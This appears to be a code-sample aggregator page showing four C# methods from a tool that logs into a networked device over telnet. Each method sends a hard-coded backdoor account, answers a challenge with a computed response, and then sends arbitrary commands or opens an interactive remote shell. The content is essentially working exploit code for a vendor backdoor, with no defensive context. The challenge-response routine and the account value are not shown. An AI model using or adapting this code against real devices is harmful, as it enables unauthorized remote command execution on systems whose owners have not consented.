Beispiel #1
0
        public bool SendCommands(string[] commands, int delay = 0)
        {
            try
            {
                TelnetClient client = new TelnetClient(ip, port);
                client.Write(BACKDOOR_ACCOUNT);

                for (int i = 0; i < 5; i++)
                {
                    client.Read();
                }

                string challengeLine = client.Read();
                string response      = ComputeResponse(Convert.ToInt32(challengeLine.Substring(challengeLine.IndexOf("N") + 1)));
                client.Write(response);

                foreach (string command in commands)
                {
                    client.Write(command);
                }
                Thread.Sleep(delay);
                return(true);
            }
            catch
            {
                return(false);
            }
        }
Beispiel #2
0
 private void shellOutputThread(TelnetClient client)
 {
     while (true)
     {
         string line = client.Read();
         if (skipNextLine)
         {
             skipNextLine = false;
         }
         else
         {
             Console.WriteLine(line);
         }
     }
 }
Beispiel #3
0
        public bool TestLogin()
        {
            try
            {
                TelnetClient client = new TelnetClient(ip, port);
                client.Write(BACKDOOR_ACCOUNT);

                for (int i = 0; i < 5; i++)
                {
                    client.Read();
                }

                return(client.Read().StartsWith("challenge: N"));
            }
            catch
            {
                return(false);
            }
        }
Beispiel #4
0
        public void Shell()
        {
            Thread outputThread = null;

            try
            {
                TelnetClient client = new TelnetClient(ip, port);
                outputThread = new Thread(() => shellOutputThread(client));
                client.Write(BACKDOOR_ACCOUNT);

                for (int i = 0; i < 5; i++)
                {
                    client.Read();
                }

                string challengeLine = client.Read();
                string response      = ComputeResponse(Convert.ToInt32(challengeLine.Substring(challengeLine.IndexOf("N") + 1)));
                client.Write(response);

                outputThread.Start();
                while (true)
                {
                    client.Write(Console.ReadLine());
                    skipNextLine = true;
                }
            }
            catch
            {
            }
            finally
            {
                try
                {
                    outputThread.Abort();
                }
                catch
                {
                }
            }
        }